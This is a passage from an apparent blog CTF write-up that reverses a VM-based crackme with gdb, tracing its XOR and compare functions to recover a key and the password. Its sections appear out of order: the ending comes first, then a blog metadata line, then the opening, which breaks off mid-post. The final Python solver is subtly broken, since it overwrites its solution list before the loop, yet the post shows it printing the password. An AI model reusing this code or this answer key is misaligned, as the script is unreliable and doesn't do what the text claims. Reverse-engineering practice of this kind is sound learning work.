We remember the function name, vm_xor and vm_cmp. Other function looks more like standard operation (JNZ, JMP, call, and so on).<br />
The binary is not stripped, and we see a variable called 'regs'. We guess that's the registers of the VM. While running under gdb, we can print their contents with <span style="font-family: "courier new" , "courier" , monospace;">x/8wx &regs</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<br />
<h3>
<span style="font-family: inherit;">2/ XOR part</span></h3>
In gdb, we have breakpoints, and we can execute commands at each breakpoints. We'll break at vm_xor, and see what's happening. I don't use any gdbinit scripts because it's a VM, and my gdbscripts are meant to be used in conjunction with known CPUs (ARM/Intel). The goal here is to count how many times the vm_xor function is called, and see if we can gain some insights of what is going on:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">mitsurugi@dojo:~/chall/FIC2018/v24<span style="color: #996633;">$ </span>gdb -q -nx ./a.out
Reading symbols from ./a.out...<span style="color: #333333;">(</span>no debugging symbols found<span style="color: #333333;">)</span>...done.
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> b * vm_xor
Breakpoint 1 at 0x400c9e
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> commands
Type commands <span style="color: #008800; font-weight: bold;">for </span>breakpoint<span style="color: #333333;">(</span>s<span style="color: #333333;">)</span> 1, one per line.
End with a line saying just <span style="background-color: #fff0f0;">"end"</span>.
>echo vm_xor is called\n
>c
>end
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out
ENTER PASS :first try
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called</pre>
<pre style="line-height: 125%; margin: 0;">FAILEDn<span style="color: #333333;">[</span>Inferior 1 <span style="color: #333333;">(</span>process 4165<span style="color: #333333;">)</span> exited normally<span style="color: #333333;">]</span>
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out
ENTER PASS :1
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
vm_xor is called</pre>
<pre style="line-height: 125%; margin: 0;">FAILEDn<span style="color: #333333;">[</span>Inferior 1 <span style="color: #333333;">(</span>process 4169<span style="color: #333333;">)</span> exited normally<span style="color: #333333;">]</span>
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span>
</pre>
</div>
<br />
Ok, so we understand that vm_xor is called 12 times, whichever the size of the PASS is.<br />
<br />
We hope now that vm_xor will works like the XOR: it takes two args from registers. Let's inspect this:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> commands 1
Type commands <span style="color: #008800; font-weight: bold;">for </span>breakpoint<span style="color: #333333;">(</span>s<span style="color: #333333;">)</span> 1, one per line.
End with a line saying just <span style="background-color: #fff0f0;">"end"</span>.
>x/8wx &regs
>c
>end
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out
ENTER PASS :123456ABCDEF
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000f2 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x0000014b 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000f3 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x00000156 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000f4 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x00000161 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000f5 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x0000016c 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000f6 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x00000177 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000f7 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x00000182 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000f8 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x0000018d 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000f9 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x00000198 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000fa 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x000001a3 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000fb 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x000001ae 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000fc 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x000001b9 0x00603010 0x00000000
Breakpoint 1, 0x0000000000400c9e in vm_xor <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000fd 0x00000000 0x00000000 0x00000000
0x602910 <regs+16>: 0x00000000 0x000001c4 0x00603010 0x00000000
FAILEDn<span style="color: #333333;">[</span>Inferior 1 <span style="color: #333333;">(</span>process 4291<span style="color: #333333;">)</span> exited normally<span style="color: #333333;">]</span>
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span>
</pre>
</div>
<br />
Ok, so we don't see any of our PASS in register. The first one seems to progress one by one, and the 6th one makes progression. It could be relative address, or offset, or anything. Let dive into the vm_xor function. It must have an XOR operation, and it could be interesting to see the operands of the command:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> disassemble vm_xor
Dump of assembler code <span style="color: #008800; font-weight: bold;">for function </span>vm_xor:
0x0000000000400c9e <+0>: mov 0x201c70<span style="color: #333333;">(</span>%rip<span style="color: #333333;">)</span>,%eax <span style="color: #888888;"># 0x602914 <regs+20></span>
0x0000000000400ca4 <+6>: lea 0x1<span style="color: #333333;">(</span>%rax<span style="color: #333333;">)</span>,%edx
0x0000000000400ca7 <+9>: mov %edx,0x201c67<span style="color: #333333;">(</span>%rip<span style="color: #333333;">)</span> <span style="color: #888888;"># 0x602914 <regs+20></span>
0x0000000000400cad <+15>: movslq %edx,%rdx
0x0000000000400cb0 <+18>: mov 0x601440<span style="color: #333333;">(</span>%rdx<span style="color: #333333;">)</span>,%dl
0x0000000000400cb6 <+24>: cmp <span style="color: #996633;">$0xab</span>,%dl
0x0000000000400cb9 <+27>: jne 0x400cf0 <vm_xor+82>
0x0000000000400cbb <+29>: lea 0x2<span style="color: #333333;">(</span>%rax<span style="color: #333333;">)</span>,%edx
0x0000000000400cbe <+32>: add <span style="color: #996633;">$0x3</span>,%eax
0x0000000000400cc1 <+35>: mov %eax,0x201c4d<span style="color: #333333;">(</span>%rip<span style="color: #333333;">)</span> <span style="color: #888888;"># 0x602914 <regs+20></span>
0x0000000000400cc7 <+41>: cltq
0x0000000000400cc9 <+43>: movslq %edx,%rdx
0x0000000000400ccc <+46>: movzbl 0x601440<span style="color: #333333;">(</span>%rax<span style="color: #333333;">)</span>,%eax
0x0000000000400cd3 <+53>: movzbl 0x601440<span style="color: #333333;">(</span>%rdx<span style="color: #333333;">)</span>,%edx
0x0000000000400cda <+60>: mov 0x602900<span style="color: #333333;">(</span>,%rax,4<span style="color: #333333;">)</span>,%eax
0x0000000000400ce1 <+67>: movslq 0x602900<span style="color: #333333;">(</span>,%rdx,4<span style="color: #333333;">)</span>,%rdx
0x0000000000400ce9 <+75>: xor %al,0x601440<span style="color: #333333;">(</span>%rdx<span style="color: #333333;">)</span> //HERE
0x0000000000400cef <+81>: retq
0x0000000000400cf0 <+82>: cmp <span style="color: #996633;">$0xbb</span>,%dl
0x0000000000400cf3 <+85>: jne 0x400d27 <vm_xor+137>
0x0000000000400cf5 <+87>: lea 0x2<span style="color: #333333;">(</span>%rax<span style="color: #333333;">)</span>,%edx
0x0000000000400cf8 <+90>: add <span style="color: #996633;">$0x3</span>,%eax
0x0000000000400cfb <+93>: mov %eax,0x201c13<span style="color: #333333;">(</span>%rip<span style="color: #333333;">)</span> <span style="color: #888888;"># 0x602914 <regs+20></span>
0x0000000000400d01 <+99>: cltq
0x0000000000400d03 <+101>: movslq %edx,%rdx
0x0000000000400d06 <+104>: movzbl 0x601440<span style="color: #333333;">(</span>%rdx<span style="color: #333333;">)</span>,%edx
0x0000000000400d0d <+111>: movslq 0x602900<span style="color: #333333;">(</span>,%rdx,4<span style="color: #333333;">)</span>,%rcx
0x0000000000400d15 <+119>: mov 0x601440<span style="color: #333333;">(</span>%rcx<span style="color: #333333;">)</span>,%dl
0x0000000000400d1b <+125>: xor 0x601440<span style="color: #333333;">(</span>%rax<span style="color: #333333;">)</span>,%dl //and HERE
0x0000000000400d21 <+131>: mov %dl,0x601440<span style="color: #333333;">(</span>%rcx<span style="color: #333333;">)</span>
0x0000000000400d27 <+137>: retq
End of assembler dump.
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span>
</pre>
</div>
<br />
Easy, disable breakpoint 1, and create two more:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> disable 1
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> b * 0x0000000000400ce9
Breakpoint 2 at 0x400ce9
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> commands
Type commands <span style="color: #008800; font-weight: bold;">for </span>breakpoint<span style="color: #333333;">(</span>s<span style="color: #333333;">)</span> 2, one per line.
End with a line saying just <span style="background-color: #fff0f0;">"end"</span>.
>echo first XOR in vm_xor<span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\n</span>
>info reg al
>x/x 0x601440+<span style="color: #996633;">$rdx</span>
>c
>end
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> b * 0x0000000000400d1b
Breakpoint 3 at 0x400d1b
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> commands
Type commands <span style="color: #008800; font-weight: bold;">for </span>breakpoint<span style="color: #333333;">(</span>s<span style="color: #333333;">)</span> 3, one per line.
End with a line saying just <span style="background-color: #fff0f0;">"end"</span>.
>echo second XOR in vm_func<span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\n</span>
>x/x 0x601440+<span style="color: #996633;">$rax</span>
>info reg dl
>c
>end
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out
ENTER PASS :ABCDEF123456
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x60158e <g_data+334>: 0x13
dl 0x41 65 //seems our key
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x601599 <g_data+345>: 0x37
dl 0x42 66 //Yup it is
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x6015a4 <g_data+356>: 0xd3 //So this one is the xor key
dl 0x43 67
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x6015af <g_data+367>: 0x3d
dl 0x44 68
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x6015ba <g_data+378>: 0xc0
dl 0x45 69
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x6015c5 <g_data+389>: 0xde
dl 0x46 70
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x6015d0 <g_data+400>: 0xab
dl 0x31 49
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x6015db <g_data+411>: 0xad
dl 0x32 50
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x6015e6 <g_data+422>: 0x1d
dl 0x33 51
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x6015f1 <g_data+433>: 0xea
dl 0x34 52
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x6015fc <g_data+444>: 0x13
dl 0x35 53
Breakpoint 3, 0x0000000000400d1b in vm_xor <span style="color: #333333;">()</span>
second XOR in vm_func
0x601607 <g_data+455>: 0x37
dl 0x36 54
FAILEDn<span style="color: #333333;">[</span>Inferior 1 <span style="color: #333333;">(</span>process 4575<span style="color: #333333;">)</span> exited normally<span style="color: #333333;">]</span>
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span>
</pre>
</div>
<div>
<br />
Well, only the second XOR is used, but it's not really important at this point. The important point is to see that each of our PASS has been XORed with a constant string (you can repeat to veroify this).<br />
<br />
So, we have an XOR key, if we copy it we have: <span style="font-family: "courier new" , "courier" , monospace;">1337d33dc0deabad1dea1337</span><br />
<br />
(1337d33dc0de?? 1337d34dc0de would have sound better, I think. Another bug? ^_^ )<br />
<br />
Now we have to find the expected solution, because <span style="font-family: "courier new" , "courier" , monospace;">PASS^key=solution</span> and with simple math, we can say that: <span style="font-family: Courier New, Courier, monospace;">PASS = key ^ solution</span>.<br />
<br />
<h3>
3/ CMP part</h3>
Well, we use the same technics. Let's break on vm_cmp and see what happens in registers:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> disable 2
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> disable 3
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> b * vm_cmp
Breakpoint 4 at 0x400852
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> commands
Type commands <span style="color: #008800; font-weight: bold;">for </span>breakpoint<span style="color: #333333;">(</span>s<span style="color: #333333;">)</span> 4, one per line.
End with a line saying just <span style="background-color: #fff0f0;">"end"</span>.
>x/8wx &regs
>c
>end
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out
ENTER PASS :123456ABCDEF
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x00000022 0x0000007a 0x00000005 0x00000060
0x602910 <regs+16>: 0x00000000 0x000001eb 0x00603010 0x00000000
FAILEDn<span style="color: #333333;">[</span>Inferior 1 <span style="color: #333333;">(</span>process 4746<span style="color: #333333;">)</span> exited normally<span style="color: #333333;">]</span>
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span>
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out
ENTER PASS :ABCDEF123456
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x00000052 0x0000007a 0x00000075 0x00000060
0x602910 <regs+16>: 0x00000000 0x000001eb 0x00603010 0x00000000
FAILEDn<span style="color: #333333;">[</span>Inferior 1 <span style="color: #333333;">(</span>process 4751<span style="color: #333333;">)</span> exited normally<span style="color: #333333;">]</span>
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span>
</pre>
</div>
<br />
Interesting. We see that register 1 changes, and register 2 stays the same.<br />
One more check, because the key is <span style="font-family: "courier new" , "courier" , monospace;">1337d33dc0deabad1dea1337</span>:<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;"> '1' XOR '0x13' => 0x22</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;"> 'A' XOR '0x13' => 0x52</span></li>
</ul>
So, we know that register 1 is <span style="font-family: "courier new" , "courier" , monospace;">PASS XOR key </span>and register 2 is solution.<br />
<br />
<i>But, have you spotted something else really weird?</i><br />
<br />
Register 3 changes too!!<br />
And it don't take a lot of time to understand that register 3 holds the "<span style="font-family: Courier New, Courier, monospace;">PASS XOR key</span>":<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;"> '2' XOR '0x37' => 0x05</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;"> 'B' XOR '0x37' => 0x75</span></li>
</ul>
We know how to extract all bytes of the solution.<br />
Once again, we use the gdb commands function to force register to have the good values, and let print this value.<br />
<div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> commands
Type commands <span style="color: #008800; font-weight: bold;">for </span>breakpoint<span style="color: #333333;">(</span>s<span style="color: #333333;">)</span> 4, one per line.
End with a line saying just <span style="background-color: #fff0f0;">"end"</span>.
>x/8wx &regs
>set *<span style="color: #333333;">(</span>char *<span style="color: #333333;">)</span> <span style="color: #996633;">0x602900</span> <span style="color: #333333;">=</span> *0x602904
>set *<span style="color: #333333;">(</span>char *<span style="color: #333333;">)</span> <span style="color: #996633;">0x602908</span> <span style="color: #333333;">=</span> *0x60290c
>c
>end
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span> r
Starting program: /home/mitsurugi/chall/FIC2018/v24/a.out
ENTER PASS :123456123456
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x00000022 0x0000007a 0x00000005 0x00000060
0x602910 <regs+16>: 0x00000000 0x000001eb 0x00603010 0x00000000
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x0000007a 0x0000007a 0x00000060 0x00000060
0x602910 <regs+16>: 0x00000000 0x000001f5 0x00603010 0x00000000
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000e0 0x000000b2 0x00000009 0x0000004e
0x602910 <regs+16>: 0x00000000 0x0000021b 0x00603010 0x00000000
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000b2 0x000000b2 0x0000004e 0x0000004e
0x602910 <regs+16>: 0x00000000 0x00000225 0x00603010 0x00000000
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000f5 0x000000b4 0x000000e8 0x000000bb
0x602910 <regs+16>: 0x00000000 0x00000255 0x00603010 0x00000000
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x0000009a 0x000000e6 0x0000009f 0x000000d4
0x602910 <regs+16>: 0x00000000 0x0000027b 0x00603010 0x00000000
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x000000e6 0x000000e6 0x000000d4 0x000000d4
0x602910 <regs+16>: 0x00000000 0x00000285 0x00603010 0x00000000
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x0000002e 0x00000049 0x000000de 0x00000083
0x602910 <regs+16>: 0x00000000 0x000002ab 0x00603010 0x00000000
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x00000049 0x00000049 0x00000083 0x00000083
0x602910 <regs+16>: 0x00000000 0x000002b5 0x00603010 0x00000000
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x00000026 0x0000007e 0x00000001 0x00000052
0x602910 <regs+16>: 0x00000000 0x000002db 0x00603010 0x00000000
Breakpoint 4, 0x0000000000400852 in vm_cmp <span style="color: #333333;">()</span>
0x602900 <regs>: 0x0000007e 0x0000007e 0x00000052 0x00000052
0x602910 <regs+16>: 0x00000000 0x000002e5 0x00603010 0x00000000
WINn<span style="color: #333333;">[</span>Inferior 1 <span style="color: #333333;">(</span>process 5104<span style="color: #333333;">)</span> exited with code 0377<span style="color: #333333;">]</span>
<span style="color: #333333;">(</span>gdb<span style="color: #333333;">)</span>
</pre>
</div>
<br /></div>
<br />
Ok, job done, we just have to copy bytes from register 2 and 4. vm_cmp has two times two bytes to compare, but function is called twice. I really should dig inside this func to understand how this work :)<br />
<br />
solution is: <span style="font-family: "courier new" , "courier" , monospace;">7a60b24eb4bbe6d449837e52</span><br />
<br />
<h3>
4/ Victory</h3>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">#! /usr/bin/python</span>
<span style="color: #888888;"># First you have to be hit to know how to defend.</span>
<span style="color: #888888;"># 0xMitsurugi</span>
key<span style="color: #333333;">=</span><span style="background-color: #fff0f0;">'1337d33dc0deabad1dea1337'</span><span style="color: #333333;">.</span>decode(<span style="background-color: #fff0f0;">'hex'</span>)
sol<span style="color: #333333;">=</span><span style="background-color: #fff0f0;">'7a60b24eb4bbe6d449837e52'</span><span style="color: #333333;">.</span>decode(<span style="background-color: #fff0f0;">'hex'</span>)
sol<span style="color: #333333;">=</span>[]
<span style="color: #008800; font-weight: bold;">for</span> i <span style="color: black; font-weight: bold;">in</span> <span style="color: #007020;">range</span>(<span style="color: #007020;">len</span>(sol)):
c<span style="color: #333333;">=</span><span style="color: #007020;">chr</span>(<span style="color: #007020;">ord</span>(sol[i]) <span style="color: #333333;">^</span> <span style="color: #007020;">ord</span>(key[i]))
sol<span style="color: #333333;">.</span>append(c)
<span style="color: #008800; font-weight: bold;">print</span> <span style="background-color: #fff0f0;">''</span><span style="color: #333333;">.</span>join(sol)
</pre>
</div>
<br />
And without any surprise:</div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./crack.py
<span style="color: #888888;">iWasteMyTime</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span>
</pre>
</div>
<br />
Job done, time to drink beer for victory.<br />
<div style="text-align: right;">
<i><span style="font-size: x-small;">I have not failed 700 times, I have not failed once.</span></i></div>
<div style="text-align: right;">
<i><span style="font-size: x-small;">I have succeeded in proving those 700 ways will not work.</span></i></div>
<div style="text-align: right;">
<i><span style="font-size: x-small;">When I have eliminated the ways that will not work,</span></i></div>
<div style="text-align: right;">
<i><span style="font-size: x-small;">I will find the way that will work </span></i></div>
<div style="text-align: right;">
<i><span style="font-size: x-small;">0xMitsurugi</span></i></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-36836666506823383962018-01-26T14:04:00.000+01:002018-01-26T14:04:19.990+01:00Solving a CTF chall the [easy|lazy] way (FIC2018)During the FIC2018, there was a CTF. One of the challenge was reverse, and we were given an a.out file.<br />
<br />
<h3>
1/ First steps:</h3>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">mitsurugi@dojo:~/chall/FIC2018/v24<span style="color: #996633;">$ </span>ls -l a.out
-rwxr-xr-x 1 mitsurugi mitsurugi 15568 Jan 24 14:30 a.out
mitsurugi@dojo:~/chall/FIC2018/v24<span style="color: #996633;">$ </span>file a.out
a.out: ELF 64-bit LSB executable, x86-64, version 1 <span style="color: #333333;">(</span>SYSV<span style="color: #333333;">)</span>, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, <span style="color: #008800; font-weight: bold;">for </span>GNU/Linux 2.6.32, BuildID<span style="color: #333333;">[</span>sha1<span style="color: #333333;">]=</span>4cde05f176c1b36218ba56a4f1fb1249ad1a8c1b, not stripped
mitsurugi@dojo:~/chall/FIC2018/v24<span style="color: #996633;">$ </span>./a.out
ENTER PASS :aaaa
FAILEDnmitsurugi@dojo:~/chall/FIC2018/v24<span style="color: #996633;">$ </span>
</pre>
</div>
<br />
Ok, so it's a crackme. Let's toy a little bit with it:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./a.out
<span style="color: #888888;">ENTER PASS ::aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</span>
<span style="color: #c65d09; font-weight: bold;">FAILEDnmitsurugi@dojo:~/chall/FIC2018/v24$</span> aaaaaaaaaaaaaaaaaaaa
<span style="color: #888888;">bash: aaaaaaaaaaaaaaaaaaaa: command not found</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span>
</pre>
</div>
<br />
Weird. It seems that it take only 12 chars in consideration:<br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./a.out
<span style="color: #888888;">ENTER PASS :123456123456abcde</span>
<span style="color: #c65d09; font-weight: bold;">FAILEDnmitsurugi@dojo:~/chall/FIC2018/v24$</span> abcde
<span style="color: #888888;">bash: abcde: command not found</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span>
</pre>
</div>
<br />
Ok, time to dig in:<br />
<!-- HTML generated using hilite.me --><br />
